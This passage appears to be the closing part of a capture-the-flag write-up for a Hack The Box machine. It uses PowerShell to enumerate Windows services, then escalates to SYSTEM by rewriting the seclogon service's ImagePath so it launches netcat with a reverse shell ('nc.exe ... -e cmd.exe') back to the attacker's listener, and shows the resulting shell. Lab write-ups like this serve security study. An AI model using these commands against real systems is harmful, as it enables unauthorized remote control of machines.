- I need to start and stop the service as Hector

Serice is already configured to run as the LocalSystem

Command below, will save all the services under

HKLM:\System\CurrentControlSet\Services to variables \$services:

```
$services = Get-ItemProperty -Path
HKLM:\System\CurrentControlSet\Services\*
```

```
PS C:\Users\Hector\Documents> $services = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\*
$services = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\*
PS C:\Users\Hector\Documents> $services
$services
ImagePath
             : \SystemRoot\System32\drivers\1394ohci.sys
Type
             : 1
Start
ErrorControl: 1
DisplayName : @1394.inf,%PCI\CC_0C0010.DeviceDesc%;1394 OHCI Compliant Host Controller
            : {1394.inf}
Owners
PSPath
             : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\1394ohci
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
PSChildName : 1394ohci
             : HKLM
PSDrive
PSProvider
            : Microsoft.PowerShell.Core\Registry
```

Command below will filter LocalSystem owned services from variable \$services:

```
$services | Where-Object { ($_.ObjectName -match 'LocalSystem') }
```

```
S C:\Users\Hector\Documents> $services | Where-Object { $_.ObjectName -match 'LocalSystem' }
$services | Where-Object { $_.ObjectName -match 'LocalSystem' }
                   : @%windir%\system32\inetsrv\iisres.dll,-30012
Description
                   : @%windir%\system32\inetsrv\iisres.dll,-30011
DisplayName
ErrorControl
FailureActions
                   : {0, 0, 0, 0...}
ImagePath
                   : C:\Windows\system32\svchost.exe -k apphost
ObjectName
                   : localSystem
RequiredPrivileges : {SeChangeNotifyPrivilege, SeTcbPrivilege, SeImpersonatePrivilege}
ServiceSidType
Start
Type
PSPath
                   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\AppHostSv
                     Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
PSParentPath
PSChildName
                     AppHostSvc
PSDrive
                     HKLM
PSProvider
                     Microsoft.PowerShell.Core\Registry
```

Command below will will filter **LocalSystem** owned services that user Hector can start from the variable **\$services**:

```
$services | Where-Object { ($_.ObjectName -match 'LocalSystem') -and
($_.Start -eq '3') }
```

```
PS C:\Users\Hector\Documents> $services | Where-Object { ($_.ObjectName -match 'LocalSystem') -and ($_.Start -eq '3')
$services | Where-Object { ($_.ObjectName -match 'LocalSystem') -and ($_.Start -eq '3') }
DependOnService
                    : {RpcSs, ProfSvc}
Description
                    : 0%systemroot%\system32\appinfo.dll,-101
                     : @%systemroot%\system32\appinfo.dll,-100
DisplayName
ErrorControl
FailureActions : {255, 255, 255, 255...}
ImagePath : C:\Windows\system32\svchost.exe -k netsvcs -p
ImagePath
ObjectName
                     : LocalSystem
RequiredPrivileges : {SeAssignPrimaryTokenPrivilege, SeIncreaseQuotaPrivilege, SeTcbPrivilege, SeBackupPrivilege...}
Start
Type
                     : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Appinfo
: Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
PSPath.
PSParentPath
PSChildName
                     : Appinfo
PSDrive
                      : HKLM
PSProvider
                      : Microsoft.PowerShell.Core\Registry
```

I will save \$services to \$fs and filter out only **pschildname** from it as such:

```
$fs = $services | Where-Object { ($_.ObjectName -match 'LocalSystem') -and
($_.Start -eq '3') }

$names = $fs.pschildname
```

```
PS C:\Users\Hector\Documents> $names
$names
Appinfo
AppMgmt
AppReadiness
AppXSvc
AudioEndpointBuilder
BITS
camsvc
cbdhsvc
CertPropSvc
ClipSVC
COMSysApp
ConsentUxUserSvc
```

Among all the services that satisfies my requirement, **seclogon** seems to be a good candidate:

sc query seclogon

I can retrieve registry information regarding **seclogon** as such:

reg query HKLM\System\CurrentControlSet\Services\seclogon

I'll change the ImagePath of the service so it runs my netcat as SYSTEM.

```
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon" /t
REG_EXPAND_SZ /v ImagePath /d
"c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.21 9002 -e
cmd.exe" /f
```

C:\Users\Hector\Documents>reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.21 9002 -e cmd.exe" /f
Treg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.21 9002 -e cmd.exe" /f
The operation completed successfully.

I'll start **seclogon** using sc start seclogon:

```
C:\Users\Hector\Documents>sc start seclogon sc start seclogon
```

Now I have shell as the system on my local listener:

```
(yoon® kali)-[~/Documents/htb/control]

$ rlwrap nc -lvnp 9002
listening on [any] 9002 ...

connect to [10.10.14.21] from (UNKNOWN) [10.10.10.167] 49701
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

References

- https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/uppercase-headers
- https://null-byte.wonderhowto.com/how-to/use-sql-injection-run-os-commands-get-shell-0191405/
- https://www.stationx.net/powershell-cheat-sheet/
- https://mostwanted002.gitlab.io/post/htb-control-writeup/
- https://snowscan.io/htb-writeup-control/#